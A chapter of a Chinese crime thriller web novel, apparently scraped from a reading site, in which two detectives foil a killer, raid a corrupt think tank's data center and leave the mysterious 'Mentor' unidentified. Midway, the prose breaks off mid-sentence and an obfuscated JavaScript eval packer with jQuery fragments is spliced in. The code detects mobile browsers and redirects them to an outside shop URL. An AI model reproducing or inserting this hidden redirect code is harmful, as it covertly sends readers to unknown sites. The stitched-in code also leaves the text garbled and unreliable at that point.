4. 深渊对峙

作品:《审判者降临

    邻市,青山疗养院。它依山而建,白色的建筑群在葱郁林木间若隐若现,环境清幽,安保森严,是众多权贵名流静养的首选。此刻,在陆知言眼中,这宁静表象下却潜藏着令人不安的暗流。


    根据对陈勇加密通讯信号的追踪,源点最终锁定在疗养院B区,一栋独立的VIP楼。当地警方已配合完成外围布控,但为避免打草惊蛇,尚未进行内部搜查。


    “确认信号最后出现的位置是B区307房间。”当地刑警队长向陆知言介绍,“登记入住者是一位名叫‘周明’的商人,背景干净,但深入核查发现身份信息是伪造的。”


    “周明…”陆知言默念这个名字,联想到那个突然出现又带走江述的“周启明”,一股不祥的预感愈发强烈。“立刻行动,目标B区307!注意,嫌疑人极度危险,可能持有武器,并且…我们可能有一位同行在里面,身份特殊,尽量避免误伤!”


    突击小组悄无声息地接近独立楼。就在他们准备破门而入的瞬间,307房间的窗户突然传来一声玻璃破碎的巨响!紧接着,是物体坠地的沉闷声响和一阵短促而激烈的打斗声!


    “行动!”陆知言心头一紧,厉声下令。


    房门被强行撞开。眼前的景象让所有人倒吸一口冷气——


    房间内一片狼藉。江述瘫坐在墙角,额角破裂,鲜血顺着脸颊淌下,染红了衣领。他的双手被反铐在身后,眼神却像濒死的狼,死死地盯着房间中央。


    那里,一个穿着疗养院保洁制服、身形矫健的男人,正用胳膊死死勒着另一名中年男子的脖颈,后者脸色发紫,显然就是伪装成“周明”的人。而那名“保洁员”,赫然正是之前带走江述的“周启明”!


    “周启明”看到冲进来的警察,非但没有惊慌,反而露出一个诡异的、带着嘲弄的笑容。他手中握着一个微型引爆器,拇指轻轻按在红色的按钮上。


    “别动!再往前一步,我就松开这个,大家一起上天花板!”“周启明”的声音不再是之前的沉稳,变得尖利而疯狂,他脚下散落着几块用胶带捆绑在一起的块状物。


    “放开人质!”陆知言举枪瞄准,声音冷冽如冰,“你跑不掉了。”


    “跑?我为什么要跑?”“周启明”嗤笑,“我的任务已经完成了大部分。清理掉这个废物,再把你们亲爱的Y-13送过来,我的使命就圆满了。”他低头对着几乎窒息的“周明”耳语,“你看,我说过,背叛‘导师’,下场只有死。”


    话音刚落,他胳膊猛地一拧!清晰的骨裂声响起,“周明”的脑袋以一个不自然的角度垂下,瞬间没了声息。


    “开火!”陆知言毫不犹豫地下令。


    但就在枪响的前一秒,“周启明”猛地将“周明”的尸体推向警察,同时自己向后疾退,撞开身后一扇伪装成墙壁的暗门,闪身而入!


    “砰!砰!砰!”子弹打在墙壁和尸体上。


    “追!”陆知言率先冲了过去。暗门后是一条狭窄陡峭的向下阶梯,通往未知的地下空间。


    “别追!有炸弹!”江述用尽力气嘶喊。


    陆知言脚步一顿,理智压过了追击的冲动。他迅速退回房间,看了一眼地上那些块状物,确实是高性能炸药。


    “排爆组!疏散整栋楼!”他快速下令,同时冲到江述身边,用从“周明”身上搜出的钥匙解开了他的手铐。


    “你怎么样?”陆知言检查着江述额头的伤口,语气复杂。


    江述一把推开他的手,挣扎着想站起来,却因为脱力和伤势踉跄了一下,被陆知言牢牢扶住。“死不了…那个周启明是假的!他是‘导师’的人!他故意引我来这里,是为了灭口这个‘周明’,他才是真正和陳勇联系的操作者!”


    “我知道。”陆知言看着江述狼狈却执拗的样子,之前因他擅自行动而积压的怒火,在看到他这副模样和听到他提供的线索后,奇异般地消散了大半,取而代之的是一种沉重的责任感和一丝不易察觉的庆幸——至少,他还活着。


    “你…”江述有些愕然地看着他。


    “你的账,回去再算。”陆知言打断他,语气不容置疑,“现在,告诉我这里发生的一切。”


    在等待排爆和疏散的间隙,江述简略地叙述了经过。


    假“周启明”将他带离市区后,并未去什么省厅,而是直接来到了这里。对方似乎对江述的过去了如指掌,言语间不断暗示沈刚的死与“第七天国”背后一个庞大的保护网有关,并声称掌握关键证据,可以帮江述复仇。其目的,似乎是想引诱江述加入他们,或者利用他对抗那个保护网。


    “他一直在试探我,想知道我除了小说,还从沈叔那里继承了什么。”江述喘着气说,“直到你们快到了,他才突然翻脸,制住了我,然后那个‘周明’从暗门里出来,他们似乎因为任务失败或者别的原因发生了争执…再后来,你们就冲进来了。”


    “沈刚的笔记本呢?”陆知言问。


    江述眼神一暗:“被那个假‘周启明’抢走了。”


    陆知言沉默片刻,拍了拍他的肩膀:“人没事就好。笔记本,我们再想办法。”


    排爆组确认了炸弹是真实的,但□□似乎需要持续按压,假“周启明”在逃离时可能启动了延时,或者那本身就是一个幌子。经过谨慎处理,危险解除。对暗门后的通道进行搜索,发现它通往疗养院的地下管网,出口众多,假“周启明”早已不知所踪。


    对房间和“周明”尸体的搜查取得了重大进展。在“周明”随身携带的一个加密平板电脑里,技术人员恢复了部分被删除的数据,其中包括:


    1. 一份未完成的“清理名单”:上面有几个名字,除了已遇害的张伟、莉莉安、王强,昏迷的张志远,还有几个政商界人士的名字,旁边标注着他们的“罪行”,大多与滥用职权、掩盖真相有关,其中几项指向了二十多年前的“第七天国”计划。


    2. 与陈勇的加密通讯记录片段:证实了是“周明”向陈勇提供了《完美罪案》的小说内容,并指挥他进行前三起谋杀,包括提供受害者的黑料和行动指南。陈勇更像是一个被操控的、狂热的执行者。


    3. 数笔来自海外匿名账户的大额资金往来记录:表明“周明”和假“周启明”都是受雇于人。


    4. 最关键的发现:在平板电脑的底层日志中,捕捉到了一次极偶然的、未被完全清除的对外联系IP痕迹,经过溯源,指向了省城市中心的一栋高级写字楼,而该写字楼的最大租户,是一家背景深厚、与多家政府部门有合作关系的私人智库——“远景战略咨询中心”。


    案件的轮廓,第一次如此清晰地指向了一个具有严密组织、雄厚资金和明确目的的幕后集团。“导师”似乎不再是单打独斗的罪犯,而可能是一个组织的代号。


    带着重伤的江述和获取的关键证据,陆知言团队返回山市。江述被送往医院治疗,并处于严密的保护(同时也是监视)之下。


    陆知言向赵建国副局长做了详细汇报。听到案件可能牵扯到“远景”这样的机构,甚至其背后的保护网可能深入到体制内部,赵局的脸色变得无比凝重。


    “这件事,已经不是我们一个市局能独立处理的了。”赵建国深吸一口气,“我会立刻向省厅主要领导做秘密汇报,请求成立更高规格的联合专案组。在此之前,所有调查必须绝对保密,仅限于你我最核心的几人知晓。”


    压力来到了前所未有的高度。陆知言感觉自己仿佛在走钢丝,脚下是万丈深渊,对手不仅隐藏在暗处,更可能盘踞在明处的权力阶层。


    他去医院看望江述。江述头上缠着纱布,靠在病床上,脸色依旧苍白,但眼神恢复了些许神采。


    “‘远景咨询’…”江述看着陆知言带来的初步调查报告,眉头紧锁,“我好像听沈叔提起过这个名字。在他殉职前那段时间,他似乎在暗中调查一些与青少年项目拨款有关的洗钱和利益输送,隐约提到过这家机构,说它‘水很深’。”


    又一个线索与沈刚的旧案串联起来!


    “看来,‘导师’或者说他代表的势力,与沈刚当年调查的对象,是同一伙人。”陆知言分析道,“他们现在进行的所谓‘清理’,一方面是为了灭口可能暴露他们过去罪行的人,另一方面,恐怕也是为了扰乱我们的视线,甚至…借刀杀人,除掉一些他们内部不再需要或者构成威胁的成员。”


    “比如那个‘周明’。”江述接口,“他可能知道得太多,或者任务出了纰漏,所以被灭口了。”他顿了顿,看向陆知言,眼神坦诚了许多,“陆队,对不起。我之前…太冲动了。”


    陆知言看着他,沉默了片刻:“我也有责任。我的不信任,可能把你推向了更危险的境地。”他话锋一转,“但你的擅自行动,依然违反了纪律。等案子结了,处分跑不了。”


    江述闻言,反而笑了笑,这是他从疗养院回来后第一个真心的笑容:“好,我认。”


    两人之间那种剑拔弩张的紧张感,终于缓和下来,一种基于共同目标和生死考验的、更坚实的信任,在无声中建立。


    就在联合专案组秘密组建,并对“远景咨询”进行外围调查时,“导师”的“清理”行动再次升级!


    名单上的另一位目标,一位曾参与审批“第七天国”计划拨款的退休银行高管,在其豪华公寓内遇害。现场同样留下了塔罗牌——“死神”,象征终结与 Transformation。凶手手法更加利落,没有留下任何有价值的线索,明显是职业杀手所为。


    与此同时,昏迷的前教育局副局长张志远,在医院经历了数次险象环生的“意外”——一次错误的药物注射,一次监控死角的输液管脱落。显然,有人不想让他醒来。


    陆知言加强了对张志远和其他潜在目标的保护,但敌暗我明,防不胜防。


    另一方面,对“远景咨询”的调查遇到了巨大阻力。该公司法律顾问强势,以商业机密和客户隐私为由,拒绝提供任何内部资料。其背景深厚,常规的调查手段难以推进。


    似乎陷入了僵局。


    然而,转机出现在一个意想不到的地方——江述。


    在医院养伤期间,他反复回忆与假“周启明”的每一句对话,以及沈刚笔记本里那些零碎的记录。他想起假“周启明”曾无意间提到过一个词:“归档室”。


    “沈叔的笔记本里,好像也提到过这个词,是在描述他怀疑‘第七天国’的部分实验数据和资金往来记录,被秘密转移到了一个叫‘归档室’的地方,不是官方档案室…”江述在电话里对陆知言说,“我当时以为只是个比喻。但现在想来,也许…这是一个特定的指代?会不会就在‘远景咨询’内部?”


    这个线索如同黑暗中的一丝微光。陆知言立刻调动所有技术力量,集中攻坚“远景咨询”的内部网络架构,寻找任何可能与“归档室”(Archive Room)相关的服务器节点、加密数据库或者物理空间。


    经过不眠不休的奋战,技侦部门终于有了发现!在“远景咨询”高度加密的内部网络中,存在一个独立于主系统之外的、物理隔离的隐秘子网络,其内部代号,正是 “Arch_Rm” !访问权限极高,并且所有数据流都经过多重加密和跳转,无法直接窥探内容。


    但至少,他们找到了目标!


    如何突破“归档室”的防御,获取里面的核心证据,成为了摆在专案组面前最大的难题。强攻网络不现实,容易触发警报导致数据自毁。物理潜入更是难如登天。


    就在陆知言苦苦思索对策时,他接到了赵建国副局长紧急召见的通知。来到赵局办公室,他发现除了赵局,还有一位气质威严、目光锐利的中年人。


    “这位是省纪委的李志军同志。”赵建国介绍道,表情严肃。


    陆知言心中一震。省纪委的介入,意味着案件的性质已经完全不同。


    “陆知言同志,你们前期的工作,为我们打开了非常重要的突破口。”李志军开门见山,“关于‘远景咨询’及其背后的利益集团,我们其实已经秘密调查了一段时间。他们涉嫌利用智库身份作为掩护,进行官商勾结、利益输送、甚至操纵政策导向,范围可能超出你们的想象。‘第七天国’计划,可能只是他们早期进行资金洗白和关系网构建的众多项目之一。”


    “那‘导师’…”


    “‘导师’的身份,我们目前也尚未完全掌握。”李志军沉声道,“他可能是这个集团内部一个极端派别的代表,也可能是一个知晓内情、试图用极端手段揭露甚至摧毁这个集团的…内部反抗者。他的‘清理’行动,虽然手段非法,但客观上确实剔除了一些集团的边缘爪牙,也为我们撕开了一道口子。”


    陆知言感到一阵寒意。如果“导师”是内部人,那他对于警方动向的了解,对于江述过去的掌握,就都有了更合理的解释。


    “我们需要你们专案组的配合。”李志军继续道,“尤其是关于那个‘归档室’。我们计划采取行动,但需要时机和确凿的由头。我们需要一份能够直接、有力地指向核心罪的证据链。‘归档室’里的东西,可能就是关键。”


    “我们正在想办法突破…”


    “有一个机会。”李志军打断他,压低了声音,“我们收到线报,三天后,‘远景咨询’的创始人兼实际控制人,那位很少露面的宋昌明,会在他的私人游艇上举办一场小型但极其重要的晚宴,据说有几位关键人物会出席。届时,他公司总部的安保力量会相对薄弱…”


    陆知言立刻明白了对方的意图:“声东击西?利用晚宴的机会,潜入‘远景咨询’,目标‘归档室’?”


    “没错。但这需要最精锐的行动人员,以及…一个能破解他们内部安防系统的专家。”李志军的目光意味深长地看向陆知言。


    陆知言脑海中瞬间浮现出江述的身影。他对犯罪心理的洞察,对细节的敏锐,以及那种不按常理出牌的思维模式,或许是突破复杂安防的关键。而且,这关乎沈刚案件的真相,他有权参与。


    但江述的身份…他的伤…


    “我需要一个人。”陆知言抬起头,目光坚定,“他能胜任。但他的参与,需要特批。”


    医院病房内,陆知言向江述和盘托出了省纪委的介入以及即将展开的行动计划。


    江述听完,沉默了很久,只是看着窗外沉沉的夜色。


    “很危险。”陆知言说,“你可以拒绝。你的伤还没好。”


    江述转过头,眼中燃烧着一种陆知言从未见过的、混合着仇恨、决绝与渴望的光芒。


    “不,我要去。”他的声音平静,却带着千钧之力,“为了沈叔,也为了我自己。我必须亲手结束这一切。”


    他顿了顿,看向陆知言:“而且,你不是需要我能破解安防吗?我或许不行,但我知道谁能。沈叔笔记本里提到过一个代号‘影武者’的黑客,曾是‘第七天国’计划的受害者之一,后来成了顶尖的安全顾问,专门与那些大公司作对。沈叔帮过他。也许…我能联系上他。”


    峰回路转!


    在省纪委的协调和特批下,江述提前出院,并与陆知言一起,在绝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205783|197332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对保密的情况下,开始紧锣密鼓地准备行动。通过江述提供的隐秘渠道,他们成功联系上了“影武者”——一个技术超群却心怀正义的年轻黑客。在得知行动目的与沈刚有关后,他毫不犹豫地同意提供远程技术支持。


    行动前夜,陆知言和江述在安全屋内最后一次核对行动计划细节。


    “进入之后,按照‘影武者’提供的路线,避开主要监控和动态密码门。‘归档室’的物理锁可能需要爆破,最后的防火墙需要他在外部配合强攻。”陆知言指着建筑结构图,“我们只有不到二十分钟的时间。”


    江述点点头,检查着身上的装备,动作还有些因为伤势带来的凝滞。


    “害怕吗?”陆知言忽然问。


    江述动作一顿,抬起头,笑了笑,有些苍白,却无比真实:“有点。但更多的是…兴奋。感觉像是在书写我自己小说的结局,只不过,这次是用行动。”


    陆知言看着他,伸出手,重重地拍了拍他的肩膀:“记住,活着把证据带出来。这是我们唯一的机会。”


    两只手,第一次,不是为了握手,而是为了共同的使命,紧紧地握在了一起。


    第二天晚上,宋昌明的豪华游艇“远景号”在省城港湾灯火辉煌,觥筹交错。与此同时,山市,“远景咨询”总部大楼地下停车场,一辆伪装成供电局检修的车内,陆知言、江述以及三名省厅特警组成的潜入小组,已经准备就绪。


    耳机里传来“影武者”冷静的声音:“安保巡逻间隙还有45秒。A路线畅通,动态密码已暂时屏蔽,GO!”


    小组如同暗夜中的幽灵,迅速潜入大楼。在“影武者”的远程指引下,他们避开一道道电子眼,穿过寂静无人的走廊,直扑位于大楼核心区域的“归档室”。


    厚重的合金门上,闪烁着幽蓝的指示灯。


    “物理锁,交给我。”一名特警上前,开始安装微型爆破索。


    江述紧张地盯着门,手心沁出汗水。陆知言则持枪警戒着通道两端。


    “爆破准备,三、二、一!”


    轻微的闷响过后,门锁被破坏。特警用力推开沉重的门扉。


    里面并非想象中堆满文件的房间,而是一个充满科幻感的巨大空间。墙壁是巨大的液晶屏幕,中央是一排排高速运转的服务器机柜,发出低沉的嗡鸣。这里,就是存储着“远景”集团,或许还包括“第七天国”乃至更多秘密的数字核心!


    “接入终端!”“影武者”指令传来。


    江述迅速将携带的特殊接口连接到主控台。“影武者”开始远程破解最后的防火墙,屏幕上数据流如同瀑布般疯狂刷新。


    时间一分一秒过去。走廊外隐约传来了脚步声和呼喝声!游艇那边的行动可能被察觉,或者大楼内部有未被发现的备用警报!


    “还需要多久?”陆知言低声问道,举枪对准门口。


    “最多三分钟!他们在负隅顽抗!”“影武者”的声音也带上了一丝急促。


    “我们没那么多时间了!”一名特警看着监控屏幕上显示正迅速接近的保安队伍。


    “挡住他们!”陆知言果断下令,两名特警立刻在门口构筑简易防线。


    枪声骤然在寂静的大楼内响起!交火开始了!


    江述额头冒汗,紧紧盯着屏幕上的进度条。百分之八十…八十五…九十…


    服务器机柜的指示灯开始疯狂闪烁,发出刺耳的警报声!对方可能在启动数据销毁程序!


    “快啊!”江述忍不住低吼。


    百分之九十五…九十八…九十九…


    “成功了!数据开始传输!”“影武者”欢呼一声。


    几乎在同一时间,门口的防线被突破,数名武装保安冲了进来!


    “带他走!”陆知言对一名特警吼道,自己则和另一名特警拼死阻击,为撤离争取时间。


    那名特警一把拉起还在盯着传输进度条的江述,将他推向房间另一侧的应急通道。


    “陆知言!”江述回头大喊。


    “走!”陆知言头也不回地吼道,子弹打在他身边的机柜上,火花四溅。


    江述咬咬牙,跟着特警冲进了应急通道。在门关上的最后一刻,他回头,看到陆知言的身影被淹没在爆裂的火光和浓烟之中。


    江述和那名特警沿着应急通道狂奔,身后是激烈的枪声和爆炸声。他们按照预定撤离路线,冲破地下管网的出口,与接应的车辆汇合。


    “陆队呢?”负责接应的林筱焦急地问。


    “他…他还在里面…”江述喘着粗气,脸上不知是汗水还是泪水。


    这时,耳机里传来“影武者”的声音:“数据完整传输完毕!我已将其同步发送至省纪委和公安部指定的安全服务器!任务完成!”


    成功了!他们拿到了足以摧毁“远景”集团的铁证!


    但江述的心却沉入了谷底。他死死地盯着那栋依旧传来枪声和火光的大楼。


    几分钟后,枪声渐渐停歇。对讲机里传来杂乱的声音,似乎是增援部队赶到了。


    又过了仿佛一个世纪那么漫长,对讲机里终于传来了一个熟悉而疲惫,却让江述瞬间活过来的声音:


    “我是陆知言…目标已控制,请求医疗支援…”


    他还活着!


    江述瘫坐在车里,长长地、颤抖地吁出了一口气。


    后续的处理工作迅速而高效。在确凿的证据面前,“远景咨询”被彻底查封,包括创始人宋昌明在内的多名核心成员在游艇上被省纪委和控制住的警方人员当场带走。大量的账本、秘密协议、贿赂记录以及“第七天国”计划的原始文件和后续掩盖行动的指令被公开,引发了轩然大波。


    一个盘踞多年、牵扯极广的利益集团,开始土崩瓦解。


    一周后,医院。


    陆知言左臂缠着绷带,脸上带着擦伤,但精神很好。江述坐在他床边,头上的纱布已经拆了,留下淡淡的疤痕。


    “医生说你再观察两天就能出院了。”江述削着苹果,手法笨拙。


    “嗯。”陆知言看着他,“你的处分下来了。鉴于你在后续行动中的重大立功表现,以及之前的情有可原,记大过,暂留警队观察。”


    江述的手顿了顿,然后继续削苹果:“哦。”


    “怎么?不满意?”


    “没有。”江述把削得坑坑洼洼的苹果递给他,“挺好。”


    两人沉默地吃着苹果。


    “那个‘导师’…”江述忽然开口,“宋昌明他们交代了吗?”


    陆知言摇摇头:“宋昌明承认了指使‘周明’和假‘周启明’进行灭口和扰乱视线的行动,但他坚决否认自己是‘导师’。他说‘导师’是独立存在的,甚至可能也是他们的敌人,利用这次机会清除了他们集团内部的不少人。真正的‘导师’,依然隐藏在幕后。”


    江述皱起眉头:“不是他?那会是谁?谁能有这么深的心机,同时利用我们和‘远景’集团互相消耗?”


    “不知道。”陆知言目光深邃,“也许,‘导师’从一开始,目的就不仅仅是复仇或者正义。他可能有着更庞大、更疯狂的计划。解决‘远景’,或许只是他计划的第一步。”


    病房里再次陷入沉默。虽然扳倒了一个巨大的犯罪集团,但最初的谜题——“导师”的身份和目的,依然笼罩在迷雾中。而且,他们都有一种预感,经过这次重创,那个隐藏得更深的“导师”,下一次出手,将会更加致命。


    窗外,阳光明媚,但两人心中都知道,真正的风暴,或许才刚刚开始。